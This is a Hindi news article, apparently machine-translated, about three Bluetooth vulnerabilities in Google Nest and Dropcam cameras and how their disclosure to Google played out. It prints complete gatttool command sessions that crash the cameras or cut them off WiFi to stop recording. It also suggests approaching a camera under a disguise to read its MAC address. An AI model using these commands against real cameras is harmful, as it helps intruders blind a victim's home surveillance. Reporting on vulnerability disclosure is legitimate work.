Google नेस्ट सर्विलांस कैमरे आसानी से ब्लूटूथ के माध्यम से बंद हो जाते हैं

लोगों को Google AI Nest आउटडोर कैम का पता लगाने की कृत्रिम बुद्धिमत्ता आसान हैकिंग से नहीं बचाती है

सबसे उच्च तकनीक संरक्षण हमेशा सबसे अच्छा नहीं होता है। सिस्टम में जटिलता को जोड़कर, आप नए हमले वैक्टर जोड़ते हैं। ऐसा होता है कि अपहर्ताओं के लिए पुरानी "लोहे की चीजों" की तुलना में रेडियो कुंजी के साथ सबसे महंगी और आधुनिक कारों को चोरी करना आसान है। अन्य क्षेत्रों में सुरक्षा के साथ उसी के बारे में।

पटाखे का एक अन्य शिकार फैंसी गूगल नेस्ट निगरानी कैमरे थे - ड्रॉपकैम, ड्रॉपकैम प्रो, नेस्ट कैम आउटडोर और नेस्ट कैम मॉडल। उन्हें हैक करने का कोड पहले ही GitHub पर प्रकाशित किया जा चुका है , और Google ने अभी तक पैच जारी नहीं किए हैं। आप आज (निश्चित रूप से) अपने निगरानी कैमरों को बंद करने का अभ्यास कर सकते हैं।

तीन कमजोरियों पर जानकारी प्रकाशित की गई है, उनमें से सभी ब्लूटूथ 4.0 एलई के माध्यम से कैमरे से कनेक्ट करने के लिए प्रदान करते हैं (विनिर्देशों के अनुसार, सीमा लगभग 100 मीटर है)। ब्लूटूथ हमेशा इन कैमरों में काम करता है, अर्थात, आमतौर पर इसे मालिक के लिए भी बंद करना असंभव है।

पहली भेद्यता ब्लूटूथ विकल्प पर SSID के साथ बफर अतिप्रवाह है। बफर अतिप्रवाह का कारण बनने के लिए, आपको कैमरे पर गलत विशेषताओं के साथ एक नया एसएसआईडी पैरामीटर सेट करने का प्रयास करने की आवश्यकता है।

यहां कैमरे से कनेक्ट करने और एक बार में 1 और 16 बाइट्स की एसएसआईडी लंबाई सेट करने का एक उदाहरण है।

anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a031201AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3b
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>
(gatttool:20352): GLib-WARNING **: Invalid file descriptor.

नतीजतन, कैमरा बंद हो जाएगा, एक त्रुटि के बाद रिबूट, और अपने सामान्य ऑपरेटिंग स्थिति में वापस आ जाएगा।

दूसरी भेद्यता पहले की तरह है, केवल यहां बफर ओवरफ्लो गलत लंबाई का पासवर्ड भेजने के कारण होता है (इस मामले में, तीन बाइट्स और एक बाइट)। परिणाम समान है - काम की स्थिति में वापसी के साथ त्रुटि के बाद कैमरा रिबूट होता है।

anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a03120b506574536d6172742d356e1a01AAAAAA
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3b
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>
(gatttool:20352): GLib-WARNING **: Invalid file descriptor.

तीसरी भेद्यता अधिक दिलचस्प है। यह आपको वाईफाई नेटवर्क से कैमरे को अस्थायी रूप से डिस्कनेक्ट करने की अनुमति देता है, जिससे यह कनेक्शन के लिए एक नया एसएसआईडी है। इन कैमरों में, स्थानीय वीडियो उपलब्ध नहीं है, इसलिए कैमरा वाईफाई के माध्यम से सब कुछ स्थानांतरित करता है - पूरे संग्रह को क्लाउड सेवा में संग्रहीत किया जाता है। तदनुसार, नेटवर्क से डिस्कनेक्शन के दौरान, वीडियो रिकॉर्डिंग को सहेजा नहीं जाएगा। इस तरह के हैक और फिर से वीडियो रिकॉर्डिंग के बाद कैमरे को सेवा में वापस आने में लगभग 60-90 सेकंड लगते हैं। सिद्धांत रूप में, यह इतना लंबा अंतराल नहीं है, लेकिन हैक को आवश्यक अवधि के लिए लूप किया जा सकता है।

anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a03120b0a6574536d6172742d356e1a20232320
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3becb824ba437c13233ac2ff78b1776456e47a01
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3ca5787d2f5e53f394a512200228003210bc9253
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3d48cada7a0d921d57b2d26ae89c3a04DEADBEEF
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3e
Characteristic value was written successfully
Characteristic value was written successfully
Characteristic value was written successfully
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>

ध्यान दें कि कैमरे से कनेक्ट करने के लिए सभी उदाहरणों में आपको इसके मैक पते (18: B4: 30: 5D: 00: 8) का पता होना चाहिए। यह केवल कैमरा बॉडी पर लिखा जाता है, इसलिए हैकिंग के लिए अभ्यास में आपको सबसे पहले काफी नज़दीकी दूरी पर कैमरा से संपर्क करना होगा। उदाहरण के लिए, एक लॉन घास काटने की मशीन की आड़ में, भविष्य के शिकार के मरम्मत करने वाले या दोस्त।


नेस्ट आउटडोर कैम की एक तस्वीर से पता चलता है कि मैक पता कैमरा बॉडी (क्यूआर कोड के ऊपर की रेखा) पर लिखा गया है। डेवलपर्स ने समझदारी से इसे एक पावर केबल के पीछे छिपा दिया

कैमरों में तीन कमजोरियां नवीनतम कैमरा फर्मवेयर (5.2.1) में मौजूद हैं। सुरक्षा विशेषज्ञ जेसन डॉयल ने उन्हें आखिरी गिरावट में पाया। उनका कहना है कि उन्होंने 26 अक्टूबर 2016 को Google को सूचना दी थी, इसलिए अब ऐसा लगता है जैसे प्रकटीकरण का समय सभी के लिए आ गया है। यह मानक अभ्यास है यदि निर्माता बिना किसी हड़बड़ी में है या उसके पास उचित समय के भीतर बग को ठीक करने का समय नहीं है। इस मामले में, लगभग पांच महीने बीत चुके हैं।

Google आमतौर पर अपने उत्पादों में कमजोरियों को खोजने के लिए शोधकर्ताओं को पुरस्कार देता है। Google की भेद्यता इनाम भी नेस्ट कैमकोर्डर तक फैली हुई है। सच है, नेस्ट तीसरे सबसे प्रतिष्ठित श्रेणी में है, जहां अधिकतम इनाम केवल $ 5,000 (बाकी उत्पादों के लिए - $ 31,337) है। इसके अलावा, इस तीसरी श्रेणी में मौन की छह महीने की अवधि के बारे में एक विशेष नोट है। हालाँकि Google ने हाल ही में 90 दिनों ( 1 , 2 ) के बाद विंडोज और एज पर सक्रिय रूप से 0day का खुलासा किया।

जेसन डॉयल छह महीने की अवधि (26 अक्टूबर - 17 मार्च) को बर्दाश्त नहीं कर सकता था, इसलिए वह पुरस्कार का दावा करने में सक्षम नहीं होगा। सामान्य अभ्यास के विपरीत, Google ने शोधकर्ता को भेद्यता को बंद करने के लिए अनुमानित समय सीमा के बारे में सूचित नहीं किया और उसके साथ पत्राचार का समर्थन नहीं किया। उसी समय, स्थिति से परिचित एक सूत्र ने द रजिस्टर को बताया कि पैच लगभग तैयार था, इसलिए जेसन अपने इनाम को ज्यादा बर्दाश्त नहीं कर सका।

वैसे, वाईफाई कनेक्शन स्थापित होने पर कुछ अन्य समान निगरानी कैमरे ब्लूटूथ को बंद कर देते हैं, इसलिए वे इस तरह से दरार नहीं कर पाएंगे (उदाहरण के लिए, लॉजिटेक सर्कल)। Google, इस प्रकार की भेद्यता से छुटकारा पाने के लिए इस सरल चाल के लिए भी जा सकता है।